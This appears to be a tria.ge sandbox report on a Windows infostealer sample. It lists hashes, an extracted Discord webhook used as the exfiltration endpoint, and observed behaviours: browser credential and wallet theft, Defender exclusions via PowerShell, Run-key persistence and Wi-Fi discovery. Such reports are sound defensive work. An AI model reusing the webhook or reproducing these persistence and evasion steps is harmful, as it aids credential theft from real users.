Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
134s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
30/07/2024, 00:27
Static task
static1
Behavioral task
behavioral1
Sample
2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe
Resource
win10v2004-20240709-en
General
-
Target
2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe
-
Size
9.5MB
-
MD5
3cf1e06121b623d2a8aa1b87317f2862
-
SHA1
a328d0b8f5fddb5329120a42c8b4d8d454df0cc7
-
SHA256
6a84fa6d9ada7d92608a8151e717bffcc2e10a076f6b49786475f810391d92e9
-
SHA512
6b406234e4bdd1364e7255de3483cb14b556fa0dcd1e84d0f2151b4dffda4c259d25aa2267aab80a781e46c4ca967634e5a335b07933cee04fb3977ee9fc8c32
-
SSDEEP
98304:QStuP4FfFJpqQvLmaYocohCn+ziEhW7F/82HIP:5EMfFvZYocoYn+zvhQHIP
Malware Config
Extracted
skuld
https://discord.com/api/webhooks/1267254147871412244/mw3axCfBQQXK_ENvEh48DrzPLTmIcxCeHKBLTmzDTtWSrCuuPad1GmQz-Pd1TOPRUnu9
Signatures
-
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1360 powershell.exe 1288 powershell.exe -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe" 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 14 discord.com 16 discord.com -
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 5 api.ipify.org 6 api.ipify.org 10 ip-api.com -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 4416 netsh.exe -
Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4992 wmic.exe 224 wmic.exe -
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
description flow ioc HTTP User-Agent header 11 Go-http-client/1.1 -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 1360 powershell.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 1360 powershell.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 1288 powershell.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 1288 powershell.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe Token: SeIncreaseQuotaPrivilege 2104 wmic.exe Token: SeSecurityPrivilege 2104 wmic.exe Token: SeTakeOwnershipPrivilege 2104 wmic.exe Token: SeLoadDriverPrivilege 2104 wmic.exe Token: SeSystemProfilePrivilege 2104 wmic.exe Token: SeSystemtimePrivilege 2104 wmic.exe Token: SeProfSingleProcessPrivilege 2104 wmic.exe Token: SeIncBasePriorityPrivilege 2104 wmic.exe Token: SeCreatePagefilePrivilege 2104 wmic.exe Token: SeBackupPrivilege 2104 wmic.exe Token: SeRestorePrivilege 2104 wmic.exe Token: SeShutdownPrivilege 2104 wmic.exe Token: SeDebugPrivilege 2104 wmic.exe Token: SeSystemEnvironmentPrivilege 2104 wmic.exe Token: SeRemoteShutdownPrivilege 2104 wmic.exe Token: SeUndockPrivilege 2104 wmic.exe Token: SeManageVolumePrivilege 2104 wmic.exe Token: 33 2104 wmic.exe Token: 34 2104 wmic.exe Token: 35 2104 wmic.exe Token: 36 2104 wmic.exe Token: SeIncreaseQuotaPrivilege 2104 wmic.exe Token: SeSecurityPrivilege 2104 wmic.exe Token: SeTakeOwnershipPrivilege 2104 wmic.exe Token: SeLoadDriverPrivilege 2104 wmic.exe Token: SeSystemProfilePrivilege 2104 wmic.exe Token: SeSystemtimePrivilege 2104 wmic.exe Token: SeProfSingleProcessPrivilege 2104 wmic.exe Token: SeIncBasePriorityPrivilege 2104 wmic.exe Token: SeCreatePagefilePrivilege 2104 wmic.exe Token: SeBackupPrivilege 2104 wmic.exe Token: SeRestorePrivilege 2104 wmic.exe Token: SeShutdownPrivilege 2104 wmic.exe Token: SeDebugPrivilege 2104 wmic.exe Token: SeSystemEnvironmentPrivilege 2104 wmic.exe Token: SeRemoteShutdownPrivilege 2104 wmic.exe Token: SeUndockPrivilege 2104 wmic.exe Token: SeManageVolumePrivilege 2104 wmic.exe Token: 33 2104 wmic.exe Token: 34 2104 wmic.exe Token: 35 2104 wmic.exe Token: 36 2104 wmic.exe Token: SeIncreaseQuotaPrivilege 224 wmic.exe Token: SeSecurityPrivilege 224 wmic.exe Token: SeTakeOwnershipPrivilege 224 wmic.exe Token: SeLoadDriverPrivilege 224 wmic.exe Token: SeSystemProfilePrivilege 224 wmic.exe Token: SeSystemtimePrivilege 224 wmic.exe Token: SeProfSingleProcessPrivilege 224 wmic.exe Token: SeIncBasePriorityPrivilege 224 wmic.exe Token: SeCreatePagefilePrivilege 224 wmic.exe Token: SeBackupPrivilege 224 wmic.exe Token: SeRestorePrivilege 224 wmic.exe Token: SeShutdownPrivilege 224 wmic.exe Token: SeDebugPrivilege 224 wmic.exe Token: SeSystemEnvironmentPrivilege 224 wmic.exe Token: SeRemoteShutdownPrivilege 224 wmic.exe Token: SeUndockPrivilege 224 wmic.exe Token: SeManageVolumePrivilege 224 wmic.exe Token: 33 224 wmic.exe Token: 34 224 wmic.exe Token: 35 224 wmic.exe Token: 36 224 wmic.exe -
Suspicious use of WriteProcessMemory 32 IoCs
